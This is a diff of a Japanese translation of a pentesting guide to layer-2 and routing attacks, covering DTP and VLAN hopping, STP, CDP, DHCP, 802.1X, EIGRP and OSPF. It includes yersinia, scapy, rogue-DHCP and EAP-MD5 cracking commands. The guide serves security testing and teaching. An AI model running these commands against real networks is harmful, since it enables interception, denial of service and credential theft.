+**動的トランクプロトコル(DTP)**は、トランクモード(トランク)または非トランクモードのポートをスイッチが自動的に選択できるようにするリンク層プロトコルとして設計されています。**DTP**の展開は、サブオプティマルなネットワーク設計の兆候と見なされることがよくあり、必要な場所だけでトランクを手動で構成し、適切なドキュメントを確認することの重要性を強調しています。 -**動的トランクプロトコル(DTP)**は、トランクモード(トランク)または非トランクモードのポートを自動的に選択するための自動システムを容易にするために設計されたリンク層プロトコルです。 **DTP**の展開は、しばしばサブオプティマルなネットワーク設計の兆候と見なされ、必要な場所だけでトランクを手動で構成し、適切なドキュメントを確認することの重要性を強調しています。 +デフォルトでは、スイッチポートは動的オートモードで動作するように設定されており、隣接するスイッチに促されるとトランクを開始できる状態です。ペンテスターまたは攻撃者がスイッチに接続し、DTPデザイアブルフレームを送信すると、ポートがトランクモードに入るため、セキュリティ上の懸念が生じます。この行動により、攻撃者はSTPフレームの解析を通じてVLANを列挙し、仮想インターフェースを設定することでVLANセグメンテーションを回避できます。 -デフォルトでは、スイッチポートは動的オートモードで動作するように設定されており、隣接するスイッチに促されるとトランクを開始できる状態です。 ペンテスターまたは攻撃者がスイッチに接続し、DTPデザイアブルフレームを送信すると、ポートがトランクモードに入るため、セキュリティ上の懸念が生じます。 このアクションにより、攻撃者はSTPフレームの解析を通じてVLANを列挙し、仮想インターフェースを設定することでVLANセグメンテーションを回避できます。 +多くのスイッチにデフォルトでDTPが存在することを悪用することで、敵対者はスイッチの振る舞いを模倣し、結果としてすべてのVLANを通過するトラフィックにアクセスできます。スクリプト[_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan)は、インターフェースを監視し、スイッチがデフォルト、トランク、ダイナミック、オート、またはアクセスモードのいずれであるかを明らかにし、VLANホッピング攻撃に対して免疫力のある唯一の構成である後者を評価するために使用されます。このツールはスイッチの脆弱性ステータスを評価します。 -多くのスイッチにデフォルトでDTPが存在することを悪用することで、敵対者はスイッチの振る舞いを模倣し、すべてのVLANを通過するトラフィックにアクセスできます。 スクリプト[_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan)は、インターフェースを監視し、スイッチがデフォルト、トランク、ダイナミック、オート、またはアクセスモードのいずれであるかを示し、VLANホッピング攻撃に対して免疫のある唯一の構成である後者を評価するために使用されます。 このツールは、スイッチの脆弱性ステータスを評価します。 - -ネットワークの脆弱性が特定された場合、_**Yersinia**_ツールを使用してDTPプロトコルを介して「トランクを有効に」し、すべてのVLANからのパケットを観察できます。 +ネットワークの脆弱性が特定された場合、_**Yersinia**_ツールを使用してDTPプロトコルを介して「トランクを有効に」し、すべてのVLANからパケットを観察できます。 ```bash apt-get install yersinia #Installation sudo apt install kali-linux-large #Another way to install it in Kali @@ -290,21 +284,21 @@ yersinia -I #Interactive mode yersinia -G #For graphic mode ``` -![](<../../.gitbook/assets/image (646) (1).png>) +![](<../../.gitbook/assets/image (269).png>) -VLANを列挙するためには、スクリプト[DTPHijacking.py](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)を使用してDTPデザイアブルフレームを生成することも可能です。スクリプトを絶対に中断しないでください。それは3秒ごとにDTPデザイアブルをインジェクトします。スイッチ上で動的に作成されたトランクチャネルは、5分間だけ有効です。5分後にトランクは切断されます。 +VLANを列挙するためには、スクリプト[DTPHijacking.py](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)を使用してDTPデザイアブルフレームを生成することも可能です。スクリプトを絶対に中断しないでください。それは3秒ごとにDTPデザイアブルをインジェクトします。スイッチ上で動的に作成されたトランクチャネルは、5分間だけ存在します。5分後にトランクは切断されます。 ``` sudo python3 DTPHijacking.py --interface eth0 ``` -私たちは、**Access/Desirable (0x03)** がDTPフレームがDesirableタイプであることを示し、ポートにTrunkモードへの切り替えを指示することを示していることを指摘したいと思います。そして、**802.1Q/802.1Q (0xa5)** は **802.1Q** カプセル化タイプを示しています。 +私たちは、**Access/Desirable (0x03)** がDTPフレームがDesirableタイプであることを示し、ポートにTrunkモードへの切り替えを指示することを示すことを指摘したいと思います。そして、**802.1Q/802.1Q (0xa5)** は **802.1Q** カプセル化タイプを示します。 -STPフレームを分析することで、**VLAN 30とVLAN 60の存在を知ることができます。** +STPフレームを分析することで、**VLAN 30とVLAN 60の存在について知ることができます。** -
+
#### 特定のVLANへの攻撃 -VLANのIDとIP値を知ったら、**特定のVLANを攻撃するために仮想インターフェースを設定**することができます。\ +VLANのIDとIP値を知ったら、**特定のVLANを攻撃するために仮想インターフェースを設定**できます。\ DHCPが利用できない場合は、静的IPアドレスを設定するために _ifconfig_ を使用してください。 ``` root@kali:~# modprobe 8021q @@ -344,9 +338,11 @@ sudo dhclient -v eth0.30 #### ダブルタギング -攻撃者が**被害者ホストのMAC、IP、VLAN IDの値を知っている**場合、指定されたVLANと被害者のVLANで**フレームにダブルタグを付け**、パケットを送信することができます。**被害者は攻撃者に接続できない**ため、**攻撃者の最良の選択肢はUDPを介して通信する**ことです。これにより、SNMPのような興味深いアクションを実行できるプロトコルにアクセスできます。 +攻撃者が**被害者ホストのMAC、IP、VLAN IDの値を知っている**場合、指定されたVLANと被害者のVLANで**フレームにダブルタグを付け**、パケットを送信することができます。**被害者は攻撃者に接続できない**ため、**攻撃者の最良の選択肢はUDPを介して通信する**ことです。興味深いアクションを実行できるプロトコル(SNMPなど)。 -攻撃者の別の選択肢は、**攻撃者が制御するIPをスプーフィングし、被害者がアクセスできる(おそらくインターネット経由で)IPを使用してTCPポートスキャンを実行**することです。その後、攻撃者は、被害者からパケットを受信するかどうかを自分が所有する2番目のホストでスニッフィングできます。 +攻撃者の別の選択肢は、**攻撃者が制御するIPをスプーフィングし、被害者がアクセス可能なTCPポートスキャンを実行**することです(おそらくインターネット経由)。その後、攻撃者は、被害者からパケットを受信するかどうかを自分が所有する2番目のホストでスニッフィングできます。 + +![](<../../.gitbook/assets/image (190).png>) この攻撃を実行するには、scapyを使用できます:`pip install scapy` ```python @@ -357,7 +353,7 @@ sendp(packet) ``` #### レイテラルVLANセグメンテーションバイパス -**直接接続されたスイッチにアクセス権がある場合**、ネットワーク内での**VLANセグメンテーションをバイパス**する能力があります。単純にポートをトランクモード(トランクとも呼ばれる)に切り替え、ターゲットVLANのIDを持つ仮想インターフェースを作成し、IPアドレスを構成します。アドレスを動的に(DHCP)要求するか、静的に構成するかはケースによります。 +もし直接接続されたスイッチに**アクセス権**がある場合、ネットワーク内での**VLANセグメンテーションをバイパス**する能力があります。単純にポートをトランクモード(トランクとも呼ばれる)に切り替え、ターゲットVLANのIDを持つ仮想インターフェースを作成し、IPアドレスを設定します。アドレスを動的に(DHCP)要求するか、静的に設定するかはケースによります。 {% content-ref url="lateral-vlan-segmentation-bypass.md" %} [lateral-vlan-segmentation-bypass.md](lateral-vlan-segmentation-bypass.md) @@ -365,13 +361,14 @@ sendp(packet) #### レイヤー3 プライベートVLAN バイパス -特定の環境、例えばゲストワイヤレスネットワークでは、**ポートアイソレーション(プライベートVLANとも呼ばれる)** 設定が実装され、ワイヤレスアクセスポイントに接続されたクライアント同士の直接通信を防止しています。しかし、これらの分離対策を回避する技術が特定されています。この技術は、ネットワークACLの欠如または不適切な構成を悪用し、IPパケットをルーターを介して他のクライアントに到達させることが可能です。 +特定の環境、例えばゲストワイヤレスネットワークでは、**ポートアイソレーション(プライベートVLANとも呼ばれる)**設定が実装され、ワイヤレスアクセスポイントに接続されたクライアント同士の直接通信を防いでいます。しかし、これらの分離対策を回避する技術が特定されています。この技術は、ネットワークACLの欠如または不適切な構成を悪用し、IPパケットがルーターを経由して同じネットワーク上の別のクライアントに到達するようにします。 -攻撃は、**宛先クライアントのIPアドレスを持つパケットをルーターのMACアドレスで送信する**ことによって実行されます。これにより、ルーターは誤ってパケットをターゲットクライアントに転送します。このアプローチは、被害者にアクセス可能なホストを制御することでセキュリティ上の欠陥を悪用するダブルタギング攻撃で使用されるものと似ています。 +攻撃は、**宛先クライアントのIPアドレスを持つパケットを作成し、ルーターのMACアドレスを使用**することで実行されます。これにより、ルーターは誤ってパケットをターゲットクライアントに転送します。このアプローチは、被害者にアクセス可能なホストを制御することでセキュリティ上の欠陥を悪用するダブルタギング攻撃で使用されるものと似ています。 **攻撃の主なステップ:** -1. **パケットの作成:** ターゲットクライアントのIPアドレスを含む特別に作成されたパケットを作成しますが、ルーターのMACアドレスを使用します。 -2. **ルーターの動作の悪用:** 作成されたパケットはルーターに送信され、構成により、プライベートVLAN設定によって提供される分離をバイパスして、パケットがターゲットクライアントに転送されます。 + +1. **パケットの作成:** ターゲットクライアントのIPアドレスを含むように特別に作成されたパケット。 +2. **ルーターの動作の悪用:** 作成されたパケットがルーターに送信され、構成により、プライベートVLAN設定によって提供される分離をバイパスして、パケットがターゲットクライアントに転送されます。 ### VTP攻撃 @@ -379,22 +376,22 @@ VTP(VLANトランキングプロトコル)はVLAN管理を集約化します #### VTPドメインの役割 -- **VTPサーバー:** VLANを管理し、作成、削除、変更を行います。ドメインメンバーにVTPアナウンスをブロードキャストします。 -- **VTPクライアント:** VTPアナウンスを受信してVLANデータベースを同期します。この役割は、ローカルVLAN構成の変更を制限されています。 -- **VTPトランスペアレント:** VTPの更新には参加せず、VTPアナウンスを転送します。VTP攻撃の影響を受けず、リビジョン番号は常にゼロのままです。 +* **VTPサーバー:** VLANを管理し、作成、削除、変更を行います。ドメインメンバーにVTPアナウンスをブロードキャストします。 +* **VTPクライアント:** VTPアナウンスを受信してVLANデータベースを同期します。この役割は、ローカルVLAN構成の変更を制限されています。 +* **VTPトランスペアレント:** VTPの更新には参加せず、VTPアナウンスを転送します。VTP攻撃の影響を受けず、リビジョン番号は常にゼロのままです。 #### VTP広告タイプ -- **サマリ広告:** 重要なドメイン情報を含むVTPサーバーによって300秒ごとにブロードキャストされます。 -- **サブセット広告:** VLAN構成の変更後に送信されます。 -- **広告リクエスト:** VTPクライアントがサマリ広告をリクエストするために発行され、通常はより高い構成リビジョン番号を検出した場合に応答します。 +* **サマリ広告:** VTPサーバーによって300秒ごとにブロードキャストされ、重要なドメイン情報を運びます。 +* **サブセット広告:** VLAN構成の変更後に送信されます。 +* **広告リクエスト:** VTPクライアントがサマリ広告を要求するために発行され、通常はより高い構成リビジョン番号を検出した場合に応答します。 -VTPの脆弱性はトランクポートを介してのみ悪用可能であり、VTPアナウンスはこれらのポートを通じてのみ循環します。DTP攻撃シナリオの後、VTPに向けられる可能性があります。YersiniaなどのツールはVTP攻撃を容易にし、VLANデータベースを消去し、ネットワークを効果的に混乱させることを目指します。 +VTPの脆弱性はトランクポートを介してのみ悪用可能です。VTPアナウンスはこれらのポートを通じてのみ循環します。DTP攻撃シナリオはVTPに向かう可能性があります。YersiniaのようなツールはVTP攻撃を容易にし、VLANデータベースを消去し、ネットワークを効果的に混乱させることを目指します。 注意: この議論はVTPバージョン1(VTPv1)に関連しています。 -```bash +````bash %% yersinia -G # Launch Yersinia in graphical mode ``` -``` +```` ### STP攻撃 **インターフェースでBPDUフレームをキャプチャできない場合、STP攻撃を成功させる可能性は低いです。** @@ -409,7 +406,7 @@ yersinia stp -attack 3 ``` #### **STP TCP Attack** -TCPを送信すると、スイッチのCAMテーブルが15秒で削除されます。その後、この種のパケットを連続して送信していると、CAMテーブルが連続して再起動されます(または15秒ごとに)し、再起動されると、スイッチはハブのように動作します。 +TCPを送信すると、スイッチのCAMテーブルが15秒で削除されます。その後、この種のパケットを連続して送信していると、CAMテーブルが連続して再起動されます(または15秒ごとに)し、再起動されると、スイッチはハブのように動作します ```bash yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen @@ -422,60 +419,60 @@ yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen yersinia stp -attack 4 #Behaves like the root switch yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root ``` -**攻撃者が2つのスイッチに接続されている場合、彼は新しいツリーのルートとなり、それらのスイッチ間のすべてのトラフィックが彼を経由するようになります**(MITM攻撃が実行されます)。 +**攻撃者が2つのスイッチに接続されている場合、彼は新しいツリーのルートとなり、それらのスイッチ間のすべてのトラフィックが彼を経由することになります**(MITM攻撃が実行されます)。 ```bash yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing" ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages ``` -### CDP攻撃 +### CDP 攻撃 -CISCO Discovery Protocol(CDP)は、CISCOデバイス間の通信に不可欠であり、**お互いを識別し構成の詳細を共有**することができます。 +CISCO Discovery Protocol(CDP)は、CISCO デバイス間の通信に不可欠であり、**お互いを識別し構成の詳細を共有**することができます。 -#### パッシブデータ収集 +#### パッシブデータ収集 -CDPはすべてのポートを介して情報をブロードキャストするように構成されており、これはセキュリティリスクにつながる可能性があります。攻撃者は、スイッチポートに接続した際に、**Wireshark**、**tcpdump**、または**Yersinia**などのネットワークスニッファを展開することができます。この行動により、ネットワークデバイスに関する機密データが公開され、そのモデルや実行されているCisco IOSのバージョンなどが明らかになります。攻撃者は、特定の脆弱性を特定されたCisco IOSバージョンに対して標的にするかもしれません。 +CDP はすべてのポートを介して情報をブロードキャストするように構成されており、これはセキュリティリスクにつながる可能性があります。攻撃者は、スイッチポートに接続した際に、**Wireshark**、**tcpdump**、または**Yersinia**などのネットワークスニッファを展開することができます。この行動により、ネットワークデバイスに関する機密データが公開され、そのモデルや実行されているCisco IOSのバージョンなどが明らかになります。攻撃者は、特定の脆弱性を特定されたCisco IOSバージョンに対して標的にするかもしれません。 -#### CDPテーブルフラッディングの誘発 +#### CDP テーブルフラッディングの誘発 -より攻撃的なアプローチは、合法的なCISCOデバイスであるかのように振る舞い、スイッチのメモリを圧倒してサービスの拒否(DoS)攻撃を実行することです。以下は、テスト用に設計されたネットワークツールであるYersiniaを使用してこのような攻撃を開始するためのコマンドシーケンスです: +より攻撃的なアプローチは、合法的なCISCOデバイスであるかのように振る舞い、スイッチのメモリを圧倒してサービスの拒否(DoS)攻撃を開始することです。以下は、テスト用に設計されたネットワークツールであるYersiniaを使用してこのような攻撃を開始するためのコマンドシーケンスです: ```bash sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices # Alternatively, for a GUI approach: sudo yersinia -G ``` -攻撃中、スイッチのCPUとCDP隣接テーブルが重く負荷され、しばしば**「ネットワーク麻痺」**と呼ばれる状態に至る。 +攻撃中、スイッチのCPUとCDP隣接テーブルが重く負担され、しばしば**「ネットワーク麻痺」**と呼ばれる状況が生じます。これは、過剰なリソース消費によるものです。 #### CDPなりすまし攻撃 ```bash sudo yersinia cdp -attack 2 #Simulate a new CISCO device sudo yersinia cdp -attack 0 #Send a CDP packet ``` -[**scapy**](https://github.com/secdev/scapy/)も使用できます。`scapy/contrib`パッケージをインストールしてください。 +また、[**scapy**](https://github.com/secdev/scapy/)を使用することもできます。`scapy/contrib`パッケージを使用してインストールしてください。 ### VoIP攻撃とVoIP Hopperツール -IoTデバイスと統合されることが増えているVoIP電話は、特別な電話番号を介してドアの解除や温度調節器の制御などの機能を提供します。ただし、この統合はセキュリティリスクを引き起こす可能性があります。 +VoIP電話は、IoTデバイスと統合されることが増えており、特別な電話番号を介してドアの開錠や温度調節などの機能を提供しています。ただし、この統合はセキュリティリスクを引き起こす可能性があります。 -ツール[**voiphopper**](http://voiphopper.sourceforge.net)は、さまざまな環境(Cisco、Avaya、Nortel、Alcatel-Lucent)でVoIP電話をエミュレートするよう設計されています。CDP、DHCP、LLDP-MED、802.1Q ARPなどのプロトコルを使用して、音声ネットワークのVLAN IDを発見します。 +ツール[**voiphopper**](http://voiphopper.sourceforge.net)は、さまざまな環境(Cisco、Avaya、Nortel、Alcatel-Lucent)でVoIP電話をエミュレートするよう設計されています。CDP、DHCP、LLDP-MED、および802.1Q ARPなどのプロトコルを使用して音声ネットワークのVLAN IDを発見します。 -**VoIP Hopper**には、Cisco Discovery Protocol(CDP)に対して3つのモードがあります: +**VoIP Hopper**には、Cisco Discovery Protocol(CDP)用の3つのモードがあります: 1. **スニッフモード**(`-c 0`):ネットワークパケットを分析してVLAN IDを特定します。 2. **スプーフモード**(`-c 1`):実際のVoIPデバイスのパケットを模倣するカスタムパケットを生成します。 -3. **事前作成パケットモードでスプーフ**(`-c 2`):特定のCisco IP電話モデルと同一のパケットを送信します。 +3. **事前作成パケットモードでスプーフ**(`-c 2`):特定のCisco IP電話モデルのパケットと同一のパケットを送信します。 速度を重視する場合、3番目のモードが好ましいです。指定する必要があるものは次のとおりです: -- 攻撃者のネットワークインターフェース(`-i`パラメータ)。 -- エミュレートされるVoIPデバイスの名前(`-E`パラメータ)、Ciscoの命名形式に従う必要があります(例:MACアドレスに続くSEP)。 +* 攻撃者のネットワークインターフェース(`-i`パラメータ)。 +* エミュレートされるVoIPデバイスの名前(`-E`パラメータ)、Ciscoの命名形式に従う必要があります(例:MACアドレスに続くSEP)。 -企業環境では、既存のVoIPデバイスを模倣するために、次のような手順を踏むことがあります: +企業環境では、既存のVoIPデバイスを模倣するために、次のことが考えられます: -- 電話機のMACラベルを調査する。 -- モデル情報を表示するために電話機のディスプレイ設定をナビゲートする。 -- VoIPデバイスをノートパソコンに接続し、Wiresharkを使用してCDPリクエストを観察する。 +* 電話機のMACラベルを調査する。 +* モデル情報を表示するために電話機のディスプレイ設定をナビゲートする。 +* VoIPデバイスをノートパソコンに接続し、Wiresharkを使用してCDPリクエストを観察する。 -3番目のモードでツールを実行するための例示コマンドは次のとおりです: +3番目のモードでツールを実行するための例示的なコマンドは次のとおりです: ```bash voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2 ``` @@ -501,8 +498,8 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds ``` **DoS** -DHCPサーバーに対して実行できる**DoS**には2種類があります。最初の方法は、**十分な偽のホストをシミュレートして、可能なすべてのIPアドレスを使用する**ことです。\ -この攻撃は、DHCPサーバーの応答を見ることができ、プロトコルを完了できる場合にのみ機能します(**Discover**(コンピューター)--> **Offer**(サーバー)--> **Request**(コンピューター)--> **ACK**(サーバー))。たとえば、これは**Wifiネットワークでは不可能**です。 +DHCPサーバーに対して実行できる**DoSの2種類**があります。最初の方法は、**十分な偽のホストをシミュレートして、可能なすべてのIPアドレスを使用する**ことです。\ +この攻撃は、DHCPサーバーの応答を見ることができ、プロトコルを完了できる場合にのみ機能します(**Discover**(コンピュータ)--> **Offer**(サーバー)--> **Request**(コンピュータ)--> **ACK**(サーバー))。たとえば、これは**Wifiネットワークでは不可能**です。 DHCP DoSを実行する別の方法は、**すべての可能なIPをソースコードとして使用してDHCP-RELEASEパケットを送信**することです。その後、サーバーは誰もがIPを使用し終わったと思うでしょう。 ```bash @@ -511,26 +508,26 @@ yersinia dhcp -attack 3 #More parameters are needed ``` より自動的な方法は、[DHCPing](https://github.com/kamorin/DHCPig)ツールを使用することです。 -環境内のクライアントに新しいリースを取得させるために、上記のDoS攻撃を使用して、合法的なサーバーを使い果たし、応答しなくなるようにすることができます。したがって、合法的なサーバーが再接続しようとすると、**次の攻撃で言及されている悪意のある値を提供できます**。 +環境内でクライアントに新しいリースを取得させるために、上記のDoS攻撃を使用して、正規のサーバーを使い果たし、応答しなくなるようにすることができます。したがって、正規のサーバーが再接続しようとすると、**次の攻撃で言及されている悪意のある値を提供できます**。 #### 悪意のある値を設定する -`/usr/share/responder/DHCP.py`にあるDHCPスクリプトを使用して、ローグDHCPサーバーを設定できます。これは、HTTPトラフィックや資格情報をキャプチャするなどのネットワーク攻撃に役立ちます。ただし、ローグゲートウェイを設定するのは効果が低いため、クライアントからのアウトバウンドトラフィックのみをキャプチャでき、実際のゲートウェイからの応答を見逃します。代わりに、ローグDNSサーバーやWPADサーバーを設定することをお勧めします。 +`/usr/share/responder/DHCP.py`にあるDHCPスクリプトを使用して、ローグDHCPサーバーを設定できます。これは、HTTPトラフィックや資格情報をキャプチャするなどのネットワーク攻撃に役立ちます。ただし、ローグゲートウェイを設定すると、クライアントからのアウトバウンドトラフィックのキャプチャのみが可能であり、実際のゲートウェイからの応答を見逃すため、効果が低下します。代わりに、ローグDNSサーバーやWPADサーバーを設定することをお勧めします。 以下は、ローグDHCPサーバーを構成するためのコマンドオプションです: -- **当社のIPアドレス(ゲートウェイ広告)**:`-i 10.0.0.100`を使用して、自分のマシンのIPをゲートウェイとして広告します。 -- **ローカルDNSドメイン名**:オプションで、`-d example.org`を使用してローカルDNSドメイン名を設定します。 -- **元のルーター/ゲートウェイIP**:合法的なルーターやゲートウェイのIPアドレスを指定するには、`-r 10.0.0.1`を使用します。 -- **プライマリDNSサーバーIP**:コントロールするローグDNSサーバーのIPアドレスを設定するには、`-p 10.0.0.100`を使用します。 -- **セカンダリDNSサーバーIP**:オプションで、セカンダリDNSサーバーIPを設定するには、`-s 10.0.0.1`を使用します。 -- **ローカルネットワークのネットマスク**:ローカルネットワークのネットマスクを定義するには、`-n 255.255.255.0`を使用します。 -- **DHCPトラフィック用のインターフェース**:特定のネットワークインターフェースでDHCPトラフィックをリッスンするには、`-I eth1`を使用します。 -- **WPAD構成アドレス**:Webトラフィックの傍受を支援するために、`-w “http://10.0.0.100/wpad.dat”`を使用してWPAD構成のアドレスを設定します。 -- **デフォルトゲートウェイIPのスプーフィング**:デフォルトゲートウェイIPアドレスをスプーフィングするには、`-S`を含めます。 -- **すべてのDHCPリクエストに応答する**:サーバーがすべてのDHCPリクエストに応答するようにするには、`-R`を含めますが、これはノイズが多く、検出される可能性があることに注意してください。 +* **当社のIPアドレス(ゲートウェイ広告)**:`-i 10.0.0.100`を使用して、自分のマシンのIPをゲートウェイとして広告します。 +* **ローカルDNSドメイン名**:オプションで、`-d example.org`を使用してローカルDNSドメイン名を設定できます。 +* **元のルーター/ゲートウェイIP**:正規のルーターやゲートウェイのIPアドレスを指定するには、`-r 10.0.0.1`を使用します。 +* **プライマリDNSサーバーIP**:コントロールするローグDNSサーバーのIPアドレスを設定するには、`-p 10.0.0.100`を使用します。 +* **セカンダリDNSサーバーIP**:オプションで、セカンダリDNSサーバーのIPを設定するには、`-s 10.0.0.1`を使用します。 +* **ローカルネットワークのネットマスク**:ローカルネットワークのネットマスクを定義するには、`-n 255.255.255.0`を使用します。 +* **DHCPトラフィック用のインターフェース**:特定のネットワークインターフェースでDHCPトラフィックをリッスンするには、`-I eth1`を使用します。 +* **WPAD構成アドレス**:Webトラフィックの傍受を支援するために、`-w “http://10.0.0.100/wpad.dat”`を使用してWPAD構成のアドレスを設定します。 +* **デフォルトゲートウェイIPのスプーフィング**:デフォルトゲートウェイIPアドレスをスプーフィングするには、`-S`を含めます。 +* **すべてのDHCPリクエストに応答する**:サーバーがすべてのDHCPリクエストに応答するようにするには、`-R`を含めますが、これはノイズが多く、検出される可能性があることに注意してください。 -これらのオプションを正しく使用することで、ローグDHCPサーバーを効果的に設定してネットワークトラフィックを傍受できます。 +これらのオプションを正しく使用することで、ローグDHCPサーバーを効果的に設定してネットワークトラフィックを傍受することができます。 ```python # Example to start a rogue DHCP server with specified options !python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R @@ -539,21 +536,21 @@ yersinia dhcp -attack 3 #More parameters are needed 以下は、802.1X実装に対して使用できる攻撃戦術のいくつかです: -* EAPを介したアクティブな総当たりパスワードクラッキング -* 不正なEAPコンテンツによるRADIUSサーバーへの攻撃 _(exploits)_ +* EAPを介したアクティブな総当たりパスワード解読 +* EAPコンテンツを不正に攻撃するRADIUSサーバ _(exploits)_ * EAPメッセージのキャプチャとオフラインパスワードクラッキング(EAP-MD5およびPEAP) * EAP-MD5認証を強制してTLS証明書の検証をバイパスする -* ハブまたは類似のものを使用して認証後に悪意のあるネットワークトラフィックを注入する +* ハブまたは類似のものを使用して認証後に悪意のあるネットワークトラフィックを注入 -攻撃者が被害者と認証サーバーの間にいる場合、認証プロトコルをEAP-MD5に劣化させ、認証試行をキャプチャしようとすることができます。その後、以下を使用して総当たり攻撃を行うことができます: +攻撃者が被害者と認証サーバーの間にいる場合、必要に応じて認証プロトコルをEAP-MD5に劣化させ、認証試行をキャプチャできます。その後、以下を使用して総当たり攻撃を行うことができます: ``` eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt ``` -### FHRP (GLBP & HSRP) 攻撃 +### FHRP (GLBP & HSRP) 攻撃 **FHRP**(First Hop Redundancy Protocol)は、**ホット冗長ルーティングシステムを作成**するために設計されたネットワークプロトコルのクラスです。FHRPを使用すると、物理ルーターを1つの論理デバイスに組み合わせることができ、信頼性を向上させ負荷を分散するのに役立ちます。 -**シスコシステムのエンジニアは、GLBPとHSRPの2つのFHRPプロトコルを開発しました。** +**Cisco Systemsのエンジニアは、GLBPとHSRPの2つのFHRPプロトコルを開発しました。** {% content-ref url="glbp-and-hsrp-attacks.md" %} [glbp-and-hsrp-attacks.md](glbp-and-hsrp-attacks.md) @@ -561,39 +558,39 @@ eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt ### RIP -ルーティング情報プロトコル(RIP)には、RIP、RIPv2、RIPngの3つのバージョンが存在します。RIPとRIPv2では、データグラムはUDPを使用してポート520に向かってピアに送信されますが、RIPngではデータグラムはIPv6マルチキャストを介してUDPポート521にブロードキャストされます。 RIPv2ではMD5認証がサポートされています。一方、RIPngにはネイティブ認証が組み込まれておらず、代わりにIPv6内のオプションのIPsec AHおよびESPヘッダーに依存しています。 +ルーティング情報プロトコル(RIP)には3つのバージョンが存在します:RIP、RIPv2、RIPng。RIPとRIPv2はUDPを使用してポート520経由でピアにデータグラムを送信しますが、RIPngはIPv6マルチキャストを介してUDPポート521にブロードキャストされます。RIPv2ではMD5認証がサポートされています。一方、RIPngにはネイティブ認証が組み込まれておらず、代わりにIPv6内のIPsec AHおよびESPヘッダーに依存しています。 -- **RIPとRIPv2:** 通信はポート520上のUDPデータグラムを介して行われます。 -- **RIPng:** IPv6マルチキャストを介してUDPポート521を利用してデータグラムをブロードキャストします。 +* **RIPとRIPv2:** 通信はポート520上のUDPデータグラムを介して行われます。 +* **RIPng:** IPv6マルチキャストを介してUDPポート521を利用してデータグラムをブロードキャストします。 RIPv2はMD5認証をサポートしていますが、RIPngにはネイティブ認証が含まれず、IPv6内のIPsec AHおよびESPヘッダーに依存しています。 ### EIGRP 攻撃 -**EIGRP(Enhanced Interior Gateway Routing Protocol)**は動的ルーティングプロトコルです。**認証がない**場合やパッシブインターフェイスの構成がない場合、**侵入者**はEIGRPルーティングに干渉し、**ルーティングテーブルの毒化**を引き起こす可能性があります。さらに、EIGRPネットワーク(つまり、自律システム)**はフラットで、ゾーンに分割されていません**。**攻撃者がルートを注入**すると、このルートが自律EIGRPシステム全体に**広がる**可能性があります。 +**EIGRP(Enhanced Interior Gateway Routing Protocol)**は動的ルーティングプロトコルです。**認証がない**場合やパッシブインターフェイスの構成がない場合、**侵入者**はEIGRPルーティングに干渉し、**ルーティングテーブルの改ざん**を引き起こす可能性があります。さらに、EIGRPネットワーク(つまり、自律システム)**はフラットで、ゾーンに分割されていません**。**攻撃者がルートを注入**すると、このルートが自律EIGRPシステム全体に**広がる**可能性があります。 -EIGRPシステムを攻撃するには、**正当なEIGRPルーターとの隣接関係を確立**する必要があります。これにより、基本的な偵察からさまざまなインジェクションまでさまざまな可能性が開かれます。 +EIGRPシステムを攻撃するには、合法的なEIGRPルーターとの**隣接関係を確立**する必要があります。これにより、基本的な偵察からさまざまなインジェクションまでさまざまな可能性が開かれます。 -[**FRRouting**](https://frrouting.org/)を使用すると、**BGP、OSPF、EIGRP、RIPなどのプロトコルをサポートする仮想ルーター**を実装できます。攻撃者のシステムに展開するだけで、ルーティングドメイン内の正当なルーターを装うことができます。 +[**FRRouting**](https://frrouting.org/)を使用すると、**BGP、OSPF、EIGRP、RIPなどのプロトコルをサポートする仮想ルーター**を実装できます。攻撃者のシステムに展開するだけで、ルーティングドメイン内の合法的なルーターを装うことができます。 {% content-ref url="eigrp-attacks.md" %} [eigrp-attacks.md](eigrp-attacks.md) {% endcontent-ref %} -[**Coly**](https://code.google.com/p/coly/)は、EIGRP(Enhanced Interior Gateway Routing Protocol)のブロードキャストを傍受する機能を持っています。また、ルーティング構成を変更するために使用できるパケットのインジェクションも可能です。 +[**Coly**](https://code.google.com/p/coly/)は、EIGRP(Enhanced Interior Gateway Routing Protocol)ブロードキャストを傍受する機能を持っています。また、ルーティング構成を変更するために使用できるパケットのインジェクションも可能です。 ### OSPF -Open Shortest Path First(OSPF)プロトコルでは、**MD5認証が一般的に使用され、ルーター間の安全な通信を確保**します。ただし、このセキュリティ対策はLokiやJohn the Ripperなどのツールを使用して妨害される可能性があります。これらのツールはMD5ハッシュをキャプチャしてクラックし、認証キーを公開します。このキーを取得すると、新しいルーティング情報を導入するために使用できます。ルートパラメータを構成し、侵害されたキーを確立するには、それぞれ _Injection_ および _Connection_ タブが使用されます。 +Open Shortest Path First(OSPF)プロトコルでは、**MD5認証が一般的に使用され、ルーター間の安全な通信を確保**します。ただし、このセキュリティ対策はLokiやJohn the Ripperなどのツールを使用して妨害される可能性があります。これらのツールはMD5ハッシュをキャプチャしてクラックし、認証キーを公開することができます。このキーを取得すると、新しいルーティング情報を導入するために使用できます。ルートパラメータを構成し、侵害されたキーを確立するには、それぞれ _Injection_ および _Connection_ タブが使用されます。 -- **MD5ハッシュのキャプチャとクラック:** LokiやJohn the Ripperなどのツールが使用されます。 -- **ルートパラメータの構成:** _Injection_ タブを介して行われます。 -- **侵害されたキーの設定:** キーは _Connection_ タブの下で構成されます。 